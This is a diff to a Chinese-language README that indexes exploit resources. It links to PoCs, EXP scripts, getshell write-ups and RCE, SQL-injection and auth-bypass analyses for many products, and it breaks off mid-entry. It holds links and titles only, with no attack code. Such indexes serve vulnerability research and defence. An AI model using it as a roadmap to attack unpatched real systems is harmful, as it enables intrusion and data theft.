[YzmCMS 5.4 后台getshell](https://xz.aliyun.com/t/7231) - 关于Ghostcat(幽灵猫CVE-2020-1938漏洞):[CNVD-2020-10487(CVE-2020-1938), tomcat ajp 文件读取漏洞poc](https://github.com/nibiwodong/CNVD-2020-10487-Tomcat-ajp-POC)|[Java版本POC](https://github.com/0nise/CVE-2020-1938)|[Tomcat-Ajp协议文件读取漏洞](https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi/)|[又一个python版本CVE-2020-1938漏洞检测](https://github.com/xindongzhuaizhuai/CVE-2020-1938)|[CVE-2020-1938-漏洞复现环境及EXP](https://github.com/laolisafe/CVE-2020-1938) - [CVE-2020-8840:Jackson-databind远程命令执行漏洞(或影响fastjson)](https://github.com/jas502n/CVE-2020-8840) -- [CVE-2020-8813-Cacti v1.2.8 RCE远程代码执行 EXP以及分析(需要认证/或开启访客即可不需要登录)(一款Linux是基于PHP,MySQL,SNMP及RRDTool开发的网络流量监测图形分析工具)](https://shells.systems/cacti-v1-2-8-authenticated-remote-code-execution-cve-2020-8813/)|[EXP](./CVE-2020-8813%20-%20Cacti%20v1.2.8%20RCE.md)|[CVE-2020-8813MSF利用脚本](https://www.exploit-db.com/exploits/48159) +- [CVE-2020-8813-Cacti v1.2.8 RCE远程代码执行 EXP以及分析(需要认证/或开启访客即可不需要登录)(一款Linux是基于PHP,MySQL,SNMP及RRDTool开发的网络流量监测图形分析工具)](https://shells.systems/cacti-v1-2-8-authenticated-remote-code-execution-cve-2020-8813/)|[EXP](./web/CVE-2020-8813%20-%20Cacti%20v1.2.8%20RCE.md)|[CVE-2020-8813MSF利用脚本](https://www.exploit-db.com/exploits/48159) - [CVE-2020-7246-PHP项目管理系统qdPM< 9.1 RCE](https://www.exploit-db.com/exploits/48146) - [CVE-2020-9547:FasterXML/jackson-databind 远程代码执行漏洞](https://github.com/fairyming/CVE-2020-9547) - [CVE-2020-9548:FasterXML/jackson-databind 远程代码执行漏洞](https://github.com/fairyming/CVE-2020-9548) - [Apache ActiveMQ 5.11.1目录遍历/ Shell上传](https://cxsecurity.com/issue/WLB-2020030033) - [CVE-2020-2555:WebLogic RCE漏洞POC](https://mp.weixin.qq.com/s/Wq6Fu-NlK8lzofLds8_zoA)|[CVE-2020-2555-Weblogic com.tangosol.util.extractor.ReflectionExtractor RCE](https://github.com/Y4er/CVE-2020-2555) - [CVE-2020-1947-Apache ShardingSphere UI YAML解析远程代码执行漏洞](https://github.com/jas502n/CVE-2020-1947) -- [CVE-2020-0554:phpMyAdmin后台SQL注入](./CVE-2020-0554:phpMyAdmin后台SQL注入.md) -- [泛微E-Mobile Ognl 表达式注入](./泛微e-mobile%20ognl注入.md)|[表达式注入.pdf](./books/表达式注入.pdf) +- [CVE-2020-0554:phpMyAdmin后台SQL注入](./web/CVE-2020-0554:phpMyAdmin后台SQL注入.md) +- [泛微E-Mobile Ognl 表达式注入](./web/泛微e-mobile%20ognl注入.md)|[表达式注入.pdf](./books/表达式注入.pdf) - [泛微10前台上传 getshell](https://github.com/west9b/Weaver/tree/7130bc856cf8b5cbc739a7934cdc01872f4107f3)|[Python 版本 getshell](https://github.com/gglvv/2022hvv-eoffice10-getshell) - [通达OA RCE漏洞](https://github.com/fuhei/tongda_rce)|[通达OAv11.6版本RCE复现分析+EXP](./books/通达OAv11.6版本漏洞复现分析.pdf)-[EXP下载](./tools/通达OA_v11.6_RCE_EXP.py) - [CVE-2020-10673-jackson-databind JNDI注入导致远程代码执行](https://github.com/0nise/vuldebug) - [CVE-2020-10199、CVE-2020-10204漏洞一键检测工具,图形化界面(Sonatype Nexus <3.21.1)](https://github.com/magicming200/CVE-2020-10199_CVE-2020-10204) - [CVE-2020-2555-Oracle Coherence 反序列化漏洞](https://github.com/wsfengfan/CVE-2020-2555)|[分析文章](https://paper.seebug.org/1141/) - [cve-2020-5260-Git凭证泄露漏洞](https://github.com/brompwnie/cve-2020-5260) -- [通达OA前台任意用户伪造登录漏洞批量检测](./通达OA前台任意用户伪造登录漏洞批量检测.md) +- [通达OA前台任意用户伪造登录漏洞批量检测](./web/通达OA前台任意用户伪造登录漏洞批量检测.md) - [CVE-2020-11890 JoomlaRCE <3.9.17 远程命令执行漏洞(需要有效的账号密码)](https://github.com/HoangKien1020/CVE-2020-11890) - [CVE-2020-10238【JoomlaRCE <= 3.9.15 远程命令执行漏洞(需要有效的账号密码)】&CVE-2020-10239【JoomlaRCE 3.7.0 to 3.9.15 远程命令执行漏洞(需要有效的账号密码)】](https://github.com/HoangKien1020/CVE-2020-10238) - [CVE-2020-2546,CVE-2020-2915 CVE-2020-2801 CVE-2020-2798 CVE-2020-2883 CVE-2020-2884 CVE-2020-2950 WebLogic T3 payload exploit poc python3](https://github.com/hktalent/CVE_2020_2546)|[CVE-2020-2883-Weblogic coherence.jar RCE](https://github.com/Y4er/CVE-2020-2883)|[WebLogic-Shiro-shell-WebLogic利用CVE-2020-2883打Shiro rememberMe反序列化漏洞,一键注册filter内存shell](https://github.com/Y4er/WebLogic-Shiro-shell)|[shiro_rce_tool:可能是最好用的shiro利用工具](https://github.com/wyzxxz/shiro_rce_tool)|[ShiroExploit:ShiroExploit 是一款 Shiro 可视化利用工具,集成密钥爆破,命令回显内存马注入等功能](https://github.com/KpLi0rn/ShiroExploit) - [tongda_oa_rce-通达oa 越权登录+文件上传getshell](https://github.com/clm123321/tongda_oa_rce) - [CVE-2020-11651-SaltStack Proof of Concept【认证绕过RCE漏洞】](https://github.com/0xc0d/CVE-2020-11651)|[CVE-2020-11651&&CVE-2020-11652 EXP](https://github.com/heikanet/CVE-2020-11651-CVE-2020-11652-EXP) -- [showdoc的api_page存在任意文件上传getshell](./showdoc的api_page存在任意文件上传getshell.md) +- [showdoc的api_page存在任意文件上传getshell](./web/showdoc的api_page存在任意文件上传getshell.md) - [Fastjson <= 1.2.47 远程命令执行漏洞利用工具及方法](https://github.com/CaijiOrz/fastjson-1.2.47-RCE) - [SpringBoot_Actuator_RCE](https://github.com/jas502n/SpringBoot_Actuator_RCE) - [jizhicms(极致CMS)v1.7.1代码审计-任意文件上传getshell+sql注入+反射XSS](./books/jizhicms(极致CMS)v1.7.1代码审计引发的思考.pdf) @@ -227,23 +237,23 @@ - [CVE-2020-14645-WebLogic 远程代码执行漏洞](https://github.com/Y4er/CVE-2020-14645)|[Weblogic_CVE-2020-14645](https://github.com/DSO-Lab/Weblogic_CVE-2020-14645) - [CVE-2020-6287-SAP NetWeaver AS JAVA 授权问题漏洞-创建用户EXP](https://github.com/duc-nt/CVE-2020-6287-exploit)|[SAP_RECON-PoC for CVE-2020-6287, CVE-2020-6286 (SAP RECON vulnerability)](https://github.com/chipik/SAP_RECON) - [CVE-2018-1000861, CVE-2019-1003005 and CVE-2019-1003029-jenkins-rce](https://github.com/orangetw/awesome-jenkins-rce-2019) -- [CVE-2020-3452:Cisco ASA/FTD 任意文件读取漏洞](./CVE-2020-3452:Cisco_ASAFTD任意文件读取漏洞.md) +- [CVE-2020-3452:Cisco ASA/FTD 任意文件读取漏洞](./web/CVE-2020-3452:Cisco_ASAFTD任意文件读取漏洞.md) - [74CMS_v5.0.1后台RCE分析](./books/74CMS_v5.0.1后台RCE分析.pdf) - [CVE-2020-8163 - Remote code execution of user-provided local names in Rails](https://github.com/sh286/CVE-2020-8163) -- [【0day RCE】Horde Groupware Webmail Edition RCE](./%E3%80%900day%20RCE%E3%80%91Horde%20Groupware%20Webmail%20Edition%20RCE.md) +- [【0day RCE】Horde Groupware Webmail Edition RCE](./web/【0day%20RCE】Horde%20Groupware%20Webmail%20Edition%20RCE.md) - [pulse-gosecure-rce-Tool to test for existence of CVE-2020-8218](https://github.com/withdk/pulse-gosecure-rce-poc) - [Exploit for Pulse Connect Secure SSL VPN arbitrary file read vulnerability (CVE-2019-11510)](https://github.com/BishopFox/pwn-pulse) -- [Zblog默认Theme_csrf+储存xss+getshell](./Zblog默认Theme_csrf+储存xss+getshell.md) +- [Zblog默认Theme_csrf+储存xss+getshell](./web/Zblog默认Theme_csrf+储存xss+getshell.md) - [用友GRP-u8 注入+天融信TopApp-LB 负载均衡系统sql注入](https://mrxn.net/Infiltration/292.html)|[绿盟UTS综合威胁探针管理员任意登录复现](https://mrxn.net/Infiltration/276.html)|[HW弹药库之深信服EDR 3.2.21 任意代码执行漏洞分析](https://mrxn.net/jswz/267.html) - [CVE-2020-13935-Tomcat的WebSocket安全漏洞可导致拒绝服务攻击](https://github.com/RedTeamPentesting/CVE-2020-13935) - [Douphp 网站后台存储型XSS漏洞分析](./books/Douphp%20网站后台存储型XSS漏洞分析.pdf)-[原文地址](https://mp.weixin.qq.com/s/dmFoMJaUH_ULnhu_T9jSGA) - [Adminer 简单的利用](./books/Adminer简单的利用.pdf)-[原文地址](https://mp.weixin.qq.com/s/fgi4S-2vdvc-pSmFGGQzgw) - [骑士CMS assign_resume_tpl远程代码执行分析](./books/骑士CMS%20远程代码执行分析%20-%20Panda.pdf)-[原文地址](https://www.cnpanda.net/codeaudit/827.html) - [kibana由原型污染导致RCE的漏洞(CVE-2019-7609)](https://github.com/mpgn/CVE-2019-7609)-[YouTube相关报告](https://www.youtube.com/watch?v=KVDOIFeRaPQ) -- [cve-2019-17558-apache solr velocity 注入远程命令执行漏洞 ](https://github.com/SDNDTeam/CVE-2019-17558_Solr_Vul_Tool) +- [cve-2019-17558-apache solr velocity 注入远程命令执行漏洞](https://github.com/SDNDTeam/CVE-2019-17558_Solr_Vul_Tool) - [Weblogic Server(CVE-2021-2109 )远程代码执行漏洞](./books/Weblogic%20Server(CVE-2021-2109%20)远程代码执行漏洞复现.pdf)-[原文地址](https://mp.weixin.qq.com/s/kEi1s3Ki-h7jjdO7gyDsaw) - [辰光PHP客服系统源码3.6 前台 getshell-0day](./books/辰光PHP客服系统源码3.620%前台20%getshell-0day.pdf)|[原文地址](https://mp.weixin.qq.com/s/jWqhZYXuBQ2kfpvnWsfeXA) -- [zzzcms(asp)前台Getshell](./zzzcms(asp)前台Getshell.md) +- [zzzcms(asp)前台Getshell](./web/zzzcms(asp)前台Getshell.md) - [wjdhcms前台Getshell(条件竞争)](./books/wjdhcms前台Getshell(条件竞争).pdf)-[原文地址](https://www.t00ls.net/articles-59727.html) - [glpi_cve-2020-11060](https://github.com/zeromirror/cve_2020-11060)-[相关文章](https://xz.aliyun.com/t/9144) - [CVE-2021-21315-PoC-Node.js组件systeminformation代码注入漏洞](https://github.com/ForbiddenProgrammer/CVE-2021-21315-PoC) @@ -265,7 +275,7 @@ - [laravel-exploits:Exploit for CVE-2021-3129](https://github.com/ambionics/laravel-exploits) - [CVE-2021-21234:Spring Boot 目录遍历](https://github.com/xiaojiangxl/CVE-2021-21234) - [CVE-2021-22205:gitlab ce 文件上传 ExifTool导致命令执行 的 RCE 漏洞](https://github.com/RedTeamWing/CVE-2021-22205) -- [Hadoop Yarn RPC未授权RCE](https://github.com/cckuailong/YarnRpcRCE) +- [Hadoop Yarn R未授权RCE](https://github.com/cckuailong/YarnRpcRCE) - [CVE-2021-41277:Metabase 敏感信息泄露](https://github.com/Seals6/CVE-2021-41277) - [Alibaba Sentinel 前台 SSRF](https://github.com/alibaba/Sentinel/issues/2451) - [CVE-2021-37580:Apache ShenYu权限认证绕过](https://github.com/fengwenhua/CVE-2021-37580) @@ -305,7 +315,7 @@ - [CVE-2022-36446-Webmin-Software-Package-Updates-RCE:Webmin 远程代码执行漏洞](https://github.com/p0dalirius/CVE-2022-36446-Webmin-Software-Package-Updates-RCE) - [CVE-2022-33980 Apache Commons Configuration 远程命令执行漏洞](https://github.com/HKirito/CVE-2022-33980) - [CVE-2022-31101:PrestaShop bockwishlist module 2.1.0 SQLi](https://github.com/karthikuj/CVE-2022-31101) -- [CVE-2022-30525:CVE-2022-30525 Zyxel 防火墙命令注入漏洞 POC&EXPC](https://github.com/west9b/CVE-2022-30525) +- [CVE-2022-30525:CVE-2022-30525 Zyxel 防火墙命令注入漏洞 POC&EX](https://github.com/west9b/CVE-2022-30525) - [CVE-2022-2185:gitlab 远程代码执行(需要身份验证)](https://github.com/ESUAdmin/CVE-2022-2185) - [CVE-2022-27925-PoC:Zimbra Collaboration 存在路径穿越漏洞最终导致RCE](https://github.com/vnhacker1337/CVE-2022-27925-PoC)|[zaber:golang 编写的 CVE-2019-9670 XXE 漏洞利用工具](https://github.com/oppsec/zaber) - [CVE-2022-1040:Sophos XG115w 防火墙 17.0.10 MR-10 - 身份验证绕过](https://github.com/APTIRAN/CVE-2022-1040) @@ -318,7 +328,7 @@ - [Weblogic-CVE-2023-21839:Oracle WebLogic Server远程代码执行](https://github.com/DXask88MA/Weblogic-CVE-2023-21839)|[Weblogic CVE-2023-21839 RCE (无需Java依赖一键RCE)](https://github.com/4ra1n/CVE-2023-21839) - [CVE-2022-39952:FortiNAC keyUpload zipslip 远程代码执行漏洞](https://github.com/horizon3ai/CVE-2022-39952) - [CVE-2022-21587:Oracle E-Business Suite 未授权RCE](https://github.com/hieuminhnv/CVE-2022-21587-POC)|[Oracle E-BS CVE-2022-21587 Exploit Plugin for woodpecker-framwork](https://github.com/Zh1z3ven/Oracle-E-BS-CVE-2022-21587-Exploit) -- [Alibab-Nacos-Unauthorized-Login: Alibab Nacos <= 2.2.0 未授权访问「默认key生成jwt token」](https://github.com/Al1ex/Alibab-Nacos-Unauthorized-Login)|[Nacos-Authentication-Bypass-Poc ](https://github.com/atk7r/Nacos-Authentication-Bypass-Poc)|[nacos_vul: Nacos身份验证绕过批量检测(QVD-2023-6271)+ 直接添加用户](https://github.com/Pizz33/nacos_vul) +- [Alibab-Nacos-Unauthorized-Login: Alibab Nacos <= 2.2.0 未授权访问「默认key生成jwt token」](https://github.com/Al1ex/Alibab-Nacos-Unauthorized-Login)|[Nacos-Authentication-Bypass-Poc](https://github.com/atk7r/Nacos-Authentication-Bypass-Poc)|[nacos_vul: Nacos身份验证绕过批量检测(QVD-2023-6271)+ 直接添加用户](https://github.com/Pizz33/nacos_vul) - [CVE-2023-27524: Apache Superset中不安全的默认配置](https://github.com/horizon3ai/CVE-2023-27524) - [CVE-2023-1671: Sophos Web Appliance 远程命令执行漏洞](https://github.com/W01fh4cker/CVE-2023-1671-POC) - [CVE-2023-28771-PoC: Zyxel firewalls 命令注入漏洞](https://github.com/BenHays142/CVE-2023-28771-PoC) @@ -337,7 +347,7 @@ - [CVE-2024-4577:PHP CGI Windows平台远程代码执行漏洞](https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-4577.yaml)|[1](https://github.com/bfengj/CTF/blob/main/Web/php/CVE-2024-4577/README.md)|[2](https://lorexxar.cn/2024/06/11/phpcgi-rce/) - [CVE-2024-34102:Magento estimate-shipping-methods XXE漏洞](https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-34102.yaml) - [CVE-2024-37032:Ollama 目录遍历致代码执行漏洞](https://github.com/Bi0x/CVE-2024-37032) -- [CVE-2024-5806:MOVEit 转移身份验证绕过漏洞 ](https://github.com/watchtowrlabs/watchTowr-vs-progress-moveit_CVE-2024-5806) +- [CVE-2024-5806:MOVEit 转移身份验证绕过漏洞](https://github.com/watchtowrlabs/watchTowr-vs-progress-moveit_CVE-2024-5806) - [thinkphp3.2.5的一个伪0day](./books/thinkphp3.2.5的一个伪0day.html) - [海康威视综合安防管理平台productFile远程命令执行漏洞分析](./books/海康威视综合安防管理平台productFile远程命令执行漏洞分析.html) - [大华智慧园区系统登录绕过分析](./books/大华智慧园区系统登录绕过分析.html) @@ -368,6 +378,7 @@ - [从 js map 泄露到接管 OSS 对象存储的一次经典案例分享](./books/从%20js%20map%20泄露到接管%20OSS%20对象存储的一次经典案例分享.html) - [浅析DolphinPHP新版本的漏洞挖掘](./books/浅析DolphinPHP新版本的漏洞挖掘.html) - [通用Tomcat InvokerServlet RCE攻击链挖掘](./books/通用Tomcat%20InvokerServlet%20RCE攻击链挖掘.html) +- [从 Tomcat JMX Proxy 到 RCE:AccessLogValve 注入利用](https://hackt.us/from-tomcat-jmx-proxy-to-rce-via-accesslogvalve-injection)|[jmx2rce:Tomcat JMX Proxy 未授权 AccessLogValve 注入利用工具(扫描/文件读取/RCE/清理一体化)](https://github.com/Hacktus/jmx2rce) - [金和OA C6办公系统全局绕过漏洞分析](./books/金和OA%20C6办公系统全局绕过漏洞分析.html) - [关于PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)简要说明](./books/关于PHP%20CGI%20Windows平台远程代码执行漏洞(CVE-2024-4577)简要说明.html) - [MSSQL注入绕过360执行命令](./books/MSSQL注入绕过360执行命令.html) @@ -762,27 +773,133 @@ - [东胜物流软件 MsAnnounceController SQL注入漏洞](https://mrxn.net/jswz/dongsheng-MsAnnounce-GetData-sqli.html) - [大蚂蚁 (BigAnt) 即时通讯系统 PublicController 任意文件读取漏洞](https://mrxn.net/jswz/bigant-Public-download.html) - [东胜物流软件 MsChDuiController 多个SQL注入漏洞](https://mrxn.net/jswz/dongsheng-MsChDuiController-sqli.html) +- [九佳易管理系统 picHY.ashx SQL 注入漏洞](https://mrxn.net/jswz/a8erp-HuiYuanDangAn-picHY-sqli.html) +- [大蚂蚁 (BigAnt) 即时通讯系统 安装程序二次注入致远程代码执行漏洞](https://mrxn.net/jswz/bigant-install-config-rce.html) +- [青龙面板最新版v2.20.1 鉴权绕过致RCE](https://mrxn.net/jswz/qinglong-auth-bypass-rce.html) | [青龙(qinglong)面板权限绕过致未授权远程代码执行(RCE)漏洞分析复现.md](./vuln_pocs/exploit-tools/qinglong-auth-bypass2rce/青龙(qinglong)面板权限绕过致未授权远程代码执行(RCE)漏洞分析复现.md) +- [大蚂蚁 (BigAnt) 即时通讯系统 moveDept SQL注入漏洞](https://mrxn.net/jswz/bigant-dept-moveDept-sqli.html) +- [九佳易管理系统 Ajax_XT.ashx SQL 注入漏洞](https://mrxn.net/jswz/a8erp-Ajax_XT-sqli.html) +- [九佳易管理系统 PrivilegedCodeDestroy.asmx SQL注入漏洞](https://mrxn.net/jswz/a8erp-Interface-licx-PrivilegedCodeDestroy-sqli.html) +- [大蚂蚁 (BigAnt) 即时通讯系统 updateLoginName SQL注入漏洞](https://mrxn.net/jswz/bigant-user-updateLoginName-sqli.html) +- [深信服运维安全管理系统 change_net 远程命令执行漏洞](https://mrxn.net/jswz/sangfor_osm-netConfig-change_net-rce.html) +- [深信服运维安全管理系统 del_net 远程命令执行漏洞](https://mrxn.net/jswz/sangfor_osm-netConfig-del_net-rce.html) +- [深信服运维安全管理系统 del_route 远程命令执行漏洞](https://mrxn.net/jswz/sangfor_osm-netConfig-del_route-rce.html) +- [深信服运维安全管理系统 getLdap 远程命令执行漏洞](https://mrxn.net/jswz/sangfor_osm-getLdap-rce.html) +- [深信服运维安全管理系统 save_SNMP 远程命令执行漏洞](https://mrxn.net/jswz/sangfor_osm-SNMP-save_SNMP-rce.html) +- [深信服运维安全管理系统 csspost/update 远程命令执行漏洞](https://mrxn.net/jswz/sangfor_osm-csspost-update-rce.html) +- [深信服运维安全管理系统 upload_file 远程命令执行漏洞](https://mrxn.net/jswz/sangfor_osm-cssp-app-upload_file-rce.html) +- [深信服运维安全管理系统 del_patch 远程命令执行漏洞](https://mrxn.net/jswz/sangfor_osm-system-concentration_management-del_patch-rce.html) +- [深信服运维安全管理系统 install_patch 远程命令执行漏洞](https://mrxn.net/jswz/sangfor_osm-system-concentration_management-install_patch-rce.html) +- [深信服运维安全管理系统 remote_get_clip_img 远程命令执行漏洞](https://mrxn.net/jswz/sangfor_osm-subforeign-audit-remote_get_clip_img-rce.html) +- [深信服运维安全管理系统 uninstall_patch 远程命令执行漏洞](https://mrxn.net/jswz/sangfor_osm-system-concentration_management-uninstall_patch-rce.html) +- [深信服运维安全管理系统 get_clip_img 远程命令执行漏洞](https://mrxn.net/jswz/sangfor_osm-subforeign-audit-get_clip_img-rce.html) +- [深信服运维安全管理系统 down_load 远程命令执行漏洞](https://mrxn.net/jswz/sangfor_osm-subforeign-audit-down_load-rce.html) +- [深信服运维安全管理系统 port_validate 远程命令执行漏洞](https://mrxn.net/jswz/sangfor_osm-ip_and_port-port_validate-rce.html) +- [深信服运维安全管理系统 save_strategy 远程命令执行漏洞](https://mrxn.net/jswz/sangfor_osm-system-node_management-save_strategy-rce.html) +- [深信服运维安全管理系统 generate_certificate 远程命令执行漏洞](https://mrxn.net/jswz/sangfor_osm-outServices-generate_certificate-rce.html) +- [深信服运维安全管理系统 update_date 远程命令执行漏洞](https://mrxn.net/jswz/sangfor_osm-timeSet-update_date-rce.html) +- [深信服运维安全管理系统 upload_CN 远程命令执行漏洞](https://mrxn.net/jswz/sangfor_osm-system-version-upload_CN-rce.html) +- [深科特 LEAN MES系统 ChooseLineAndRes.ashx SQL 注入漏洞](https://mrxn.net/jswz/lean-mes-ChooseLineAndRes-sqli.html) +- [深科特 LEAN MES系统 /Handler/SMTLoadingMaterial.ashx SQL注入漏洞](https://mrxn.net/jswz/lean-mes-SMTLoadingMaterial-sqli.html) +- [深科特 LEAN MES系统 EquipmentTree.ashx SQL注入漏洞](https://mrxn.net/jswz/lean-mes-EquipmentTree-sqli.html) +- [深科特 LEAN MES系统 UploadPortraits.ashx 文件上传漏洞](https://mrxn.net/jswz/lean-mes-UploadPortraits-fileupload-rce.html) +- [深科特 LEAN MES系统 /Handler/FileSync.ashx 任意文件读取/上传/删除/SSRF等多个漏洞](https://mrxn.net/jswz/lean-mes-FileSync-fileupload-rce-ssrf-filerad.html) +- [深科特 LEAN MES系统 DownLoad.aspx 任意文件读取漏洞](https://mrxn.net/jswz/lean-mes-DownLoad-fileread.html) +- [深科特 LEAN MES系统 /Handler/MobileAppLogin.ashx SQL注入漏洞](https://mrxn.net/jswz/lean-mes-MobileAppLogin-sqli.html) +- [深科特 LEAN MES系统 PrintUpdate.ashx 任意文件读取/上传/删除漏洞](https://mrxn.net/jswz/lean-mes-PrintUpdate-fileupload-rce-fileread.html) +- [深科特 LEAN MES系统 TestManagePlatform.ashx SQL注入漏洞](https://mrxn.net/jswz/lean-mes-TestManagePlatform-sqli.html) +- [深科特 LEAN MES系统 UploadHander.ashx 文件上传漏洞](https://mrxn.net/jswz/lean-mes-UploadHander-fileuplaod-rce.html) +- [深科特 LEAN MES系统 CreateMenus.aspx 任意文件上传漏洞](https://mrxn.net/jswz/lean-mes-CreateMenus-fileuplaod-rce.html) +- [深科特 LEAN MES系统 AutoComplete.ashx SQL注入漏洞](https://mrxn.net/jswz/lean-mes-AutoComplete-sqli.html) +- [深科特 LEAN MES系统 ChooseImage.aspx 任意文件上传/删除漏洞](https://mrxn.net/jswz/lean-mes-ChooseImage-fileupload-rce-filedel.html) +- [深科特 LEAN MES系统 SetDataSource.aspx SQL注入漏洞](https://mrxn.net/jswz/lean-mes-SetDataSource-sqli.html) +- [CLIProxyAPI /v1internal:method 未授权访问漏洞](https://mrxn.net/news/CLIProxyAPI-v1internal-method-unauthorized-access.html) +- [shannon:面向 Web 应用与 API 的自主 AI 渗透测试工具,支持代码感知动态漏洞挖掘与自动化 PoC 验证](https://github.com/KeygraphHQ/shannon) +- [孚盟云CRM AjaxTrackInfo.ashx SQL注入漏洞](https://mrxn.net/jswz/fumacrm-Dingding-AjaxTrackInfo-sqli.html) +- [孚盟云CRM DingHandler.ashx SQL注入漏洞](https://mrxn.net/jswz/fumacrm-Dingding-DingHandler-sqli.html) +- [孚盟云CRM PriceList.ashx SQL注入漏洞](https://mrxn.net/jswz/fumacrm-Dingding-PriceList-sqli.html) +- [孚盟云CRM WorkFlowHandler.ashx SQL注入漏洞](https://mrxn.net/jswz/fumacrm-Dingding-WorkFlowHandler-sqli.html) +- [孚盟云CRM AddInquiry.aspx SQL注入漏洞](https://mrxn.net/jswz/fumacrm-Dingding-AddInquiry-sqli.html) +- [孚盟云CRM OrderLook.aspx SQL注入漏洞](https://mrxn.net/jswz/fumacrm-Dingding-OrderLook-sqli.html) +- [孚盟云CRM FormDefault.aspx、FormDefaultCommon.aspx 多处SQL注入漏洞](https://mrxn.net/jswz/fumacrm-Dingding-FormDefault-sqli.html) +- [天地伟业Easy7 queryRoomName SQL注入漏洞](https://mrxn.net/jswz/easy7-rest-inquestRoom-queryRoomName-sqli.html) +- [天地伟业Easy7 queryRoomConfigs SQL注入漏洞](https://mrxn.net/jswz/easy7-rest-inquestRoom-queryRoomConfigs-sqli.html) +- [天地伟业Easy7 UploadOwnerImage.jsp 文件上传漏洞](https://mrxn.net/jswz/easy7-apps-WebService-UploadOwnerImage-rce.html) +- [mdserver-web(夸父面板)≤0.18.4 多处未授权访问 + 信息泄露 + RCE 漏洞分析](https://mrxn.net/jswz/mdserver-web-unauthentication-bypass-rce.html) +- [天地伟业Easy7 GetOtherDomainServer.jsp SSRF漏洞](https://mrxn.net/jswz/easy7-apps-WebService-GetOtherDomainServer-SSRF.html) +- [天地伟业Easy7 getInquestIdByRoomId SQL注入漏洞](https://mrxn.net/jswz/easy7-rest-inquestRoom-getInquestIdByRoomId-sqli.html) +- [天地伟业Easy7 getInquestRoomChannelInfo SQL注入漏洞](https://mrxn.net/jswz/1422.html) +- [V2Board 信息泄露漏洞至权限绕过接管账户(CVE-2026-39912)分析复现](https://mrxn.net/jswz/v2board-data-leak-authentication-bypass.html) +- [天地伟业Easy7 isHashCameraAuth SQL注入漏洞](https://mrxn.net/jswz/easy7-rest-inquestRoom-isHashCameraAuth-sqli.html) +- [天地伟业Easy7 getConfigInfoList SQL注入漏洞](https://mrxn.net/jswz/easy7-rest-inquestRoom-getConfigInfoList-sqli.html) +- [天地伟业Easy7 capture 命令执行漏洞](https://mrxn.net/jswz/easy7-rest-file-capture-rce.html) +- [天地伟业Easy7 uploadLedImage 文件上传漏洞](https://mrxn.net/jswz/easy7-rest-file-uploadLedImage-rce.html) +- [天地伟业Easy7 /Easy7/rest/file/delete 文件删除漏洞](https://mrxn.net/jswz/easy7-rest-file-delete.html) +- [天地伟业Easy7 /Easy7/rest/file/downloadFile 文件读取漏洞](https://mrxn.net/jswz/easy7-rest-file-downloadFile.html) +- [天地伟业Easy7 /Easy7/rest/file/uploadIdsHttpFile SSRF+文件写入漏洞](https://mrxn.net/jswz/easy7-rest-file-uploadIdsHttpFile-rce.html) +- [孚盟云CRM CustomizeReportSelectMould.aspx SQL注入漏洞](https://mrxn.net/jswz/fumacrm-Dingding-CustomizeReport-CustomizeReportSelectMould-sqli.html) +- [孚盟云CRM ClientNameCard.aspx SQL注入漏洞](https://mrxn.net/jswz/fumacrm-Dingding-Card-ClientNameCard-sqli.html) +- [孚盟云CRM BusinessPrice.aspx SQL注入漏洞](https://mrxn.net/jswz/fumacrm-Dingding-Product-BusinessPrice-sqli.html) +- [cPanel WHM 权限绕过致RCE【cve-2026-41940】](https://github.com/watchtowrlabs/watchTowr-vs-cPanel-WHM-AuthBypass-to-RCE.py) | [cve-2026-41940 漏洞分析](https://labs.watchtowr.com/the-internet-is-falling-down-falling-down-falling-down-cpanel-whm-authentication-bypass-cve-2026-41940/) +- [孚盟云CRM BusinessPriceListList.aspx SQL注入漏洞](https://mrxn.net/jswz/fumacrm-Dingding-Product-BusinessPriceList-sqli.html) +- [天地伟业Easy7 /Easy7/rest/file/uploadFile 文件上传漏洞](https://mrxn.net/jswz/easy7-rest-file-uploadFile-rce.html) +- [天地伟业Easy7 /Easy7/rest/file/deleteFile 文件删除漏洞](https://mrxn.net/jswz/easy7-rest-file-deleteFile.html) +- [天地伟业Easy7 /Easy7/rest/file/download 文件读取漏洞](https://mrxn.net/jswz/easy7-rest-file-download-fileread.html) +- [天地伟业Easy7 /Easy7/rest/user/getAuthorityByUserId SQL注入漏洞](https://mrxn.net/jswz/easy7-rest-user-getAuthorityByUserId-sqli.html) +- [天地伟业Easy7 /Easy7/rest/user/IsPermissible SQL注入漏洞](https://mrxn.net/jswz/easy7-rest-user-IsPermissible-sqli.html) +- [天地伟业Easy7 /Easy7/rest/user/getAuthorityByUserId SQL注入漏洞](https://mrxn.net/jswz/easy7-rest-user-getAuthorityByUserId-sqli-2.html) +- [孚盟云CRM BusinessPriceOk.aspx SQL注入漏洞](https://mrxn.net/jswz/fumacrm-Dingding-Product-BusinessPriceOk-sqli.html) +- [孚盟云CRM BusinessPriceReport.aspx SQL注入漏洞](https://mrxn.net/jswz/fumacrm-Dingding-Product-BusinessPriceReport-sqli.html) +- [孚盟云CRM BusiPriceOkPrint.aspx SQL注入漏洞](https://mrxn.net/jswz/fumacrm-Dingding-Product-BusiPriceOkPrint-sqli.html) +- [用友 NC 系统 IMsgCenterWebService SQL注入漏洞](https://mrxn.net/jswz/yonyou-nc-IMsgCenterWebService-resetInvacationInfoByUsercode-sqli.html) +- [孚盟云CRM LoadMailAttachFile.aspx 任意文件读取/移动](https://mrxn.net/jswz/fumacrm-Common-LoadMailAttachFile-FileName-fileread.html) +- [孚盟云CRM Inquiry.aspx SQL注入漏洞](https://mrxn.net/jswz/fumacrm-Dingding-Product-Inquiry-sqli.html) +- [孚盟云CRM Price_detail.aspx SQL注入漏洞](https://mrxn.net/jswz/fumacrm-Dingding-Product-Price_detail-sqli.html) +- [孚盟云CRM ProductGrid.aspx SQL注入漏洞](https://mrxn.net/jswz/fumacrm-Dingding-Product-ProductGrid-sqli.html) +- [孚盟云CRM AjaxProductList.ashx SQL注入漏洞](https://mrxn.net/jswz/fumacrm-Dingding-Ajax-AjaxProductList-sqli.html) +- [孚盟云CRM ProductList.aspx SQL注入漏洞](https://mrxn.net/jswz/fumacrm-Dingding-Product-ProductList-sqli.html) +- [孚盟云CRM Product_field.aspx SQL注入漏洞](https://mrxn.net/jswz/fumacrm-Dingding-Product-Product_field-sqli.html) +- [孚盟云CRM 